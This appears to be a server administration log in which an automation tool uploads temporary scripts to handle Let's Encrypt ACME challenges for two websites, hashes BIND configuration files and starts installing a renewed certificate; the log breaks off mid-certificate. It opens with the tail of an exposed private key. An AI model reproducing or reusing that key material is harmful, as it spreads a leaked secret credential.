+3QWVmOLPxC/E+Km2JuaFvdVenPlpg4JInOg//JcGuu9SbnFNB4rI4CmPcpft+k8
VcwQ4u12EnOSA9wWeywpuaTRPadycWWBzvrURKPRDiE1qvx1/QYzYp/3CSAcibdz
zp6dGj/2t6P2LqO6GWHUBw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-01-08 06:00:01: Establishing a connection
2026-01-08 06:00:02: Establishing a connection
2026-01-08 06:00:02: 

PUT: /tmp/pkp728449

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-08 06:00:03: 

chmod 755 /tmp/pkp728449; /tmp/pkp728449; rm /tmp/pkp728449

2026-01-08 06:00:03: 


1


2026-01-08 06:00:04: Establishing a connection
2026-01-08 06:00:04: 

PUT: /tmp/pkp172071

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > 5AARliGL8dIrDGBxMht6xeKRq5H7svLk0s9BP29dCUw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5AARliGL8dIrDGBxMht6xeKRq5H7svLk0s9BP29dCUw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5AARliGL8dIrDGBxMht6xeKRq5H7svLk0s9BP29dCUw


2026-01-08 06:00:04: 

chmod 755 /tmp/pkp172071; /tmp/pkp172071; rm /tmp/pkp172071

2026-01-08 06:00:04: 




2026-01-08 13:12:45: Establishing a connection
2026-01-08 13:12:51: Establishing a connection
2026-01-08 13:12:51: 

PUT: /tmp/pkp881433

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-08 13:12:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp881433; rm /tmp/pkp881433'

2026-01-08 13:12:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-08 13:13:12: Establishing a connection
2026-01-08 13:13:12: Establishing a connection
2026-01-08 13:13:13: 

PUT: /tmp/pkp708769

#!/bin/bash
if [ -d "/var/www/freebible_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-08 13:13:13: 

chmod 755 /tmp/pkp708769; /tmp/pkp708769; rm /tmp/pkp708769

2026-01-08 13:13:13: 


1


2026-01-08 13:13:14: Establishing a connection
2026-01-08 13:13:14: 

PUT: /tmp/pkp918341

#!/bin/bash
mkdir -p "/var/www/freebible_www/.well-known/acme-challenge/"
cd "/var/www/freebible_www/.well-known/acme-challenge/"
cat > dD7gPJ_OmkNSmDGWwCRcL71kooP1jqbPYlfaw9xEkZU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
dD7gPJ_OmkNSmDGWwCRcL71kooP1jqbPYlfaw9xEkZU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 dD7gPJ_OmkNSmDGWwCRcL71kooP1jqbPYlfaw9xEkZU
cat > LO5p03o88QgFQxx_D0mW0-_dEZX06qejwSu0ZAeH4qg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LO5p03o88QgFQxx_D0mW0-_dEZX06qejwSu0ZAeH4qg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LO5p03o88QgFQxx_D0mW0-_dEZX06qejwSu0ZAeH4qg


2026-01-08 13:13:14: 

chmod 755 /tmp/pkp918341; /tmp/pkp918341; rm /tmp/pkp918341

2026-01-08 13:13:14: 




2026-01-08 13:13:24: Establishing a connection
2026-01-08 13:13:24: 

PUT: /tmp/pkp721092

#!/bin/bash
mkdir -p "/var/www/freebible_www/.well-known/acme-challenge/"
cd "/var/www/freebible_www/.well-known/acme-challenge/"
rm dD7gPJ_OmkNSmDGWwCRcL71kooP1jqbPYlfaw9xEkZU
rm LO5p03o88QgFQxx_D0mW0-_dEZX06qejwSu0ZAeH4qg


2026-01-08 13:13:25: 

chmod 755 /tmp/pkp721092; /tmp/pkp721092; rm /tmp/pkp721092

2026-01-08 13:13:25: 




2026-01-08 13:13:25: Establishing a connection
2026-01-08 13:13:25: 

PUT: /tmp/pkp491043

#!/bin/bash
temp_file=$(mktemp)
TARGET=25d244ad83fcb448bd222b7039653b35.crt

cat > $temp_file <<'endmsg'
43:37:5a:8e:f7:d8:08:03:55:d7:d8:a8:1b:ad:cf:fa

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBc6SokQdTtjuqewbXAzc8E2yMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA4MTIxNDU0WhcNMjYwNDA4MTIxNDUzWjAZMRcwFQYDVQQD
Ew5mcmVlYmlibGUuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKNOLxsQfvOajkHdQH4vCDjK+zOapHgWQD4bhU9Q1EbrkCesUAuacjLSh7BWFRLp
Z3o2EoVITTYY0DR3Ku1BhviDuF9pfP6gRXKEJnHiV86FRQDsqQVnlv+uY8e+tEAB
w6i+OSLgFzi6nPA9BzmJmgRnlOUHY8Ut9SDKQT4UY5CeSxbXeCncpb3PR2AM4rU8
hq/GV/qqjU9hGk3aFmP0fvIXuDDmlWWXShOohKnMAhy+PIhf5e8pUAMGzWQvB6FS
782kmdDZwosGectaTy5rCH9i4yZPyaEEMqbxnf9z+oPtUYm7D7BWg7SvmdH2W494
kRw1yzzlPxzkMnZznigIzC8CAwEAAaOCAjowggI2MA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU451S89QOkl3w/+rNREzn+u9tqHEwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5mcmVlYmlibGUuaW5mb4ISd3d3
LmZyZWViaWJsZS5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTEuY3JsMIIBDAYKKwYBBAHW
